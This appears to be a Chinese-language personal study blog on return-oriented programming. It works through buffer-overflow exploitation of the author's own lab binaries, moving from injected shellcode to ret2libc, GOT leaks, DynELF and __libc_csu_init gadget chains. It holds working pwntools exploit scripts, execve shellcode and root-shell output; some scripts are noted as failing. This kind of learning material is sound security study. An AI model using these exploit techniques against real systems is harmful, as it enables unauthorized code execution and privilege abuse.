一步一步学ROP调试笔记

持续更新,未完待续

先放几条常用命令:
编译选项:

1
gcc -fno-stack-protector -z execstack -no-pie -o vul 1.c

开启core dump:

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

远程监听:

1
socat TCP4-LISTEN:10001,fork EXEC:./level1

搜索gadget:

1
2
3
4
5
6
ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi

ROPgadget --console
binary file
load
search pop pop pop ret

Control Flow Hijack

实验环境

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       No NX found
PIE:      Enable
ASLR:     0

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void flow(){
char buf[128];
read(STDIN_FILENO,buf,256);
}
int main(){
flow();
char a[]="hello";
write(STDOUT_FILENO,a,strlen(a));
return 0;
}

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

retAddr = 0xbffff300

payload = shellcode+(140-len(shellcode))*'a'+p32(retAddr)

p = process('./vul')
#p = remote('127.0.0.1',10001)

p.send(payload)

p.interactive()

结果

1
2
3
4
5
6
7
root@kali:~/rop/linux32# python exp-1.py 
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './vul': pid 4860
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$

Ret2libc – Bypass DEP

还是上面那个程序,编译时去掉执行栈选项,可以使用cat /proc/[pid]/maps查看内存情况,它已经没有执行权限了,那就用其他方法咯。

实验环境

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       Enable
PIE:      Enable
ASLR:     0

查找’\bin\sh’

1
2
3
4
5
6
7
8
9
gdb-peda$ p system

$1 = {<text variable, no debug info>} 0xb7e37b30 <__libc_system>

gdb-peda$ searchmem '/bin/sh' /lib/i386-linux-gnu/libc-2.24.so

Searching for '/bin/sh' in: /lib/i386-linux-gnu/libc-2.24.so ranges
Found 1 results, display max 1 items:
libc : 0xb7f59dc8 ("/bin/sh")

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

sh = 0xb7f59dc8
system = 0xb7e37b30
ret = 0x80000642

payload = 'a'*140+p32(system)+p32(ret)+p32(sh)

p = process('./level2')
#p = remote('127.0.0.1',1234)

p.send(payload)

p.interactive()

结果

1
2
3
4
5
6
7
root@kali:~/rop/linux32# python exp-2.py 
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './level2': pid 5054
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$

ROP– Bypass DEP and ASLR

此处有坑,在21世纪的17年,kali下的gcc 6.3默认开了PIE于是算出来的位置是偏移位置并且地址会随机化,所以不能使用这种方法,下面的实验使用了-no-pie编译选项。首先开启ASLR,然后编写利用代码。

实验环境

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       Enable
PIE:      No
ASLR:     2

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

elf = ELF('./level3')
libc = ELF('./libc.so.6')

writePlt = elf.symbols['write']
#writePlt = 0x80000460
print 'writePlt:'+hex(writePlt)

writeGot = elf.got['write']
#writeGot = 0x80002018
print 'writeGot:'+hex(writeGot)

flow = elf.symbols['flow']
#flow = 0x800005f0
#p = process('./level3')
p = remote('127.0.0.1',1234)

payload = 'a'*140+p32(writePlt)+p32(flow)+p32(1)+p32(writeGot)+p32(4)

p.send(payload)
writeAddr = u32(p.recv(4))

print "writeAddr:"+hex(writeAddr)

systemAddr = writeAddr - (libc.symbols['write']-libc.symbols['system'])
binAddr = writeAddr - (libc.symbols['write']-next(libc.search('/bin/sh')))

payload = 'a'*140+p32(systemAddr)+p32(flow)+p32(binAddr)
p.send(payload)
p.interactive()

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali:~/rop/linux32# python exp-3.py 
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/root/rop/linux32/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/root/rop/linux32/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
writePlt:0x8048350
writeGot:0x804a018
[+] Opening connection to 127.0.0.1 on port 1234: Done
writeAddr:0xb75fdcc0
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

Memory Leak & DynELF

这次没有libc库文件了,使用信息泄露。

实验环境

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       Enable
PIE:      No
ASLR:     2

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

elf = ELF('level3')
writePlt = elf.plt['write']
writeGot = elf.got['write']
flowAddr = elf.symbols['flow']
readPlt = elf.plt['read']

def leak(address):
payloadLeak = 'a'*140+p32(writePlt)+p32(flowAddr)+p32(1)+p32(address)+p32(4)
p.send(payloadLeak)
leakAddr = p.recv(4)
print "%#x ===> %s"%(address,(leakAddr or "").encode('hex'))
return leakAddr

p = process('./level4')
#p = remote('127.0.0.1',1234)

d = DynELF(leak,elf=elf)
systemAddr = d.lookup('system','libc')
#bssAddr = 0x0804a024
dataAddr = 0x0804a01c
bssAddr = dataAddr

pppr = 0x0804830a

payload = 'a'*140+p32(readPlt)+p32(pppr)+p32(0)+p32(bssAddr)+p32(8)
payload += p32(systemAddr)+p32(flowAddr)+p32(bssAddr)

p.send(payload)
gdb.attach(p)
p.send('/bin/sh\0')
p.interactive()

结果

失败了,经过调试发现对system的调用是没有问题的,但是在system内部调用的是execvep,而在获取它的第三个参数时出现了错误导致此函数会执行失败,暂时没有调试发现错误原因。先暂时放下

Rop-linux-x64-simple

实验环境

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
ASLR:     2

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//编译时需要加上-ldl选项
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY)0;0
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p=process('level1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

systemAddr = int(p.recvline(),16)

print hex(systemAddr)

shAddr = next(libc.search('/bin/sh'))-(libc.symbols['system']-systemAddr)

#gdb.attach(p)

popRdiRet = 0x00000000004007f3
payload = 'a'*136+p64(popRdiRet)+p64(shAddr)+p64(systemAddr)
p.send(payload)
p.interactive()

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[!] Could not find executable 'level1' in $PATH, using './level1' instead
[+] Starting local process './level1': pid 3514
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f843ad20450
[*] Switching to interactive mode
Hello, World
$ id
uid=0(root) gid=0(root) groups=0(root)
$

__libc_csu_init

实验环境

[*] '/root/rop/linux64/level2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    ASLR:     2

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

反汇编init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
4005a0:	41 57                	push   %r15
4005a2: 41 56 push %r14
4005a4: 41 89 ff mov %edi,%r15d
4005a7: 41 55 push %r13
4005a9: 41 54 push %r12
4005ab: 4c 8d 25 56 08 20 00 lea 0x200856(%rip),%r12 # 600e08 <__frame_dummy_init_array_entry>
4005b2: 55 push %rbp
4005b3: 48 8d 2d 56 08 20 00 lea 0x200856(%rip),%rbp # 600e10 <__init_array_end>
4005ba: 53 push %rbx
4005bb: 49 89 f6 mov %rsi,%r14 ;r14
4005be: 49 89 d5 mov %rdx,%r13
4005c1: 4c 29 e5 sub %r12,%rbp
4005c4: 48 83 ec 08 sub $0x8,%rsp
4005c8: 48 c1 fd 03 sar $0x3,%rbp
4005cc: e8 2f fe ff ff callq 400400 <_init>
4005d1: 48 85 ed test %rbp,%rbp
4005d4: 74 20 je 4005f6 <__libc_csu_init+0x56>
4005d6: 31 db xor %ebx,%ebx ;
4005d8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) ;对齐用
4005df: 00
4005e0: 4c 89 ea mov %r13,%rdx ;r13->rdx 第二个位置起始处
4005e3: 4c 89 f6 mov %r14,%rsi ;r14->rsi
4005e6: 44 89 ff mov %r15d,%edi ;r15d->edi
4005e9: 41 ff 14 dc callq *(%r12,%rbx,8) ;[r12+rbx*8]
4005ed: 48 83 c3 01 add $0x1,%rbx ;此时rbx为1
4005f1: 48 39 dd cmp %rbx,%rbp ;
4005f4: 75 ea jne 4005e0 <__libc_csu_init+0x40>;不跳转这样就可以循环啦
4005f6: 48 83 c4 08 add $0x8,%rsp
4005fa: 5b pop %rbx ;置为0 第一个位置起始处
4005fb: 5d pop %rbp ;置为1
4005fc: 41 5c pop %r12 ;地址
4005fe: 41 5d pop %r13 ;
400600: 41 5e pop %r14 ;
400602: 41 5f pop %r15 ;
400604: c3 retq ; 跳转到第二个位置
400605: 90 nop
400606: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40060d: 00 00 00
1
2
3
4
5
6
7
#用于任意地址读
#rdi = edi = r15,rsi = r14,rdx = r13
#write(rdi,rsi,rdx)
payload1 = 'a'*136
payload1 += p64(0x4005fa)+p64(0)+p64(1)+p64(writeGot)+p64(8)+p64(rAddress)+p64(1)
payload1 += p64(0x4005e0)+'12345678'*7
payload1 += p64(mainAddr)
1
2
3
4
5
#用于任意地址写
payload2 = 'a'*136
payload2 += p64(0x4005fa)+p64(0)+p64(1)+p64(readGot)+p64(8)+p64(wAddress)+p64(0)
payload2 += p64(0x4005e0)+'12345678'*7
payload2 += p64(mainAddr)
1
2
3
4
5
#获取shell
payload3 = 'a'*136
payload3 += p64(0x4005fa)+p64(0)+p64(1)+p64(systemAddrPointer)+p64(0)+p64(0)+p64(shAddr)
payload3 += p64(0x4005e0)+'12345678'*7
payload3 += p64(mainAddr)

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#coding=utf-8
from pwn import *

#这道给了so文件就不用信息泄露了
def leak(rAddress):
payload1 = 'a'*136
payload1 += p64(0x4005fa)+p64(0)+p64(1)+p64(writeGot)+p64(8)+p64(rAddress)+p64(1)
payload1 += p64(0x4005e0)+'12345678'*7
payload1 += p64(mainAddr)
p.send(payload1)
p.recvuntil('Hello, World\n')
data = p.recv(8)
print "%#x ===> %s"%(rAddress,(data or "").encode('hex'))
return data

def arbWrite(wAddress,data):
payload2 = 'a'*136
payload2 += p64(0x4005fa)+p64(0)+p64(1)+p64(readGot)+p64(8)+p64(wAddress)+p64(0)
payload2 += p64(0x4005e0)+'12345678'*7
payload2 += p64(mainAddr)
p.send(payload2)
p.send(p64(data))

elf = ELF('level2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

writeGot = elf.got['write']
readGot = elf.got['read']
mainAddr = elf.symbols['main']
bssAddr = elf.bss()
#dataAddr = elf.get_section_by_name('.data').header.sh_addr

p = process('level2')

#d = DynELF(leak,elf=elf)
#systemAddr = d.lookup('system','libc')

## 读取writeAddr
writeAddr = u64(leak(writeGot))
print 'writeAddr =====> %#x'%(writeAddr)

## 计算system地址
systemAddr = writeAddr -(libc.symbols['write']-libc.symbols['system'])
print 'systemAddr =====> %#x'%(systemAddr)
## 计算/bin/sh地址
shAddr = writeAddr - (libc.symbols['write']-next(libc.search('/bin/sh')))
print 'shAddr ======> %#x'%(shAddr)
## 将systemAddr写入bss
p.recvuntil('Hello, World\n')
gdb.attach(p)
arbWrite(bssAddr,systemAddr)

## 执行system
p.recvuntil('Hello, World\n')
systemAddrPointer = bssAddr
payload3 = 'a'*136
payload3 += p64(0x4005fa)+p64(0)+p64(1)+p64(systemAddrPointer)+p64(0)+p64(0)+p64(shAddr)
payload3 += p64(0x4005e0)+'12345678'*7
payload3 += p64(mainAddr)
p.send(payload3)
p.interactive()

哇哈哈哈哈,这个代码不能执行成功,因为。。。。我偷懒了,直接用了libc库里面的/bin/sh,然而,整个过程其实都是假设rdi==edi,但是当地址过高就会出错,好吧,不偷懒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding=utf-8
from pwn import *

#这道给了so文件就不用信息泄露了
def leak(rAddress):
payload1 = 'a'*136
payload1 += p64(0x4005fa)+p64(0)+p64(1)+p64(writeGot)+p64(8)+p64(rAddress)+p64(1)
payload1 += p64(0x4005e0)+'12345678'*7
payload1 += p64(mainAddr)
p.send(payload1)
p.recvuntil('Hello, World\n')
data = p.recv(8)
print "%#x ===> %s"%(rAddress,(data or "").encode('hex'))
return data

def arbWrite(wAddress,data):
payload2 = 'a'*136
payload2 += p64(0x4005fa)+p64(0)+p64(1)+p64(readGot)+p64(8)+p64(wAddress)+p64(0)
payload2 += p64(0x4005e0)+'12345678'*7
payload2 += p64(mainAddr)
p.send(payload2)
sleep(2)
p.send(data)

elf = ELF('level2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

writeGot = elf.got['write']
readGot = elf.got['read']
mainAddr = elf.symbols['main']
bssAddr = elf.bss()
dataAddr = elf.get_section_by_name('.data').header.sh_addr

p = process('level2')

#d = DynELF(leak,elf=elf)
#systemAddr = d.lookup('system','libc')

## 读取writeAddr
writeAddr = u64(leak(writeGot))
print 'writeAddr =====> %#x'%(writeAddr)

## 计算system地址
systemAddr = writeAddr -(libc.symbols['write']-libc.symbols['system'])
print 'systemAddr =====> %#x'%(systemAddr)
## 计算/bin/sh地址
#shAddr = writeAddr - (libc.symbols['write']-next(libc.search('/bin/sh')))
#print 'shAddr ======> %#x'%(shAddr)
## 将systemAddr写入bss
p.recvuntil('Hello, World\n')
gdb.attach(p)
arbWrite(bssAddr,p64(systemAddr))

## 将/bin/sh写入data
p.recvuntil('Hello, World\n')
arbWrite(dataAddr,'/bin/sh\0')

## 执行system
p.recvuntil('Hello, World\n')
systemAddrPointer = bssAddr
shAddr = dataAddr

payload3 = 'a'*136
payload3 += p64(0x4005fa)+p64(0)+p64(1)+p64(systemAddrPointer)+p64(0)+p64(0)+p64(shAddr)
payload3 += p64(0x4005e0)+'12345678'*7
payload3 += p64(mainAddr)
p.send(payload3)
p.interactive()

emmmm,调着调着突然想起,system只需要一个参数,完全可以使用其他的gadget,感觉智商被掏空。

结果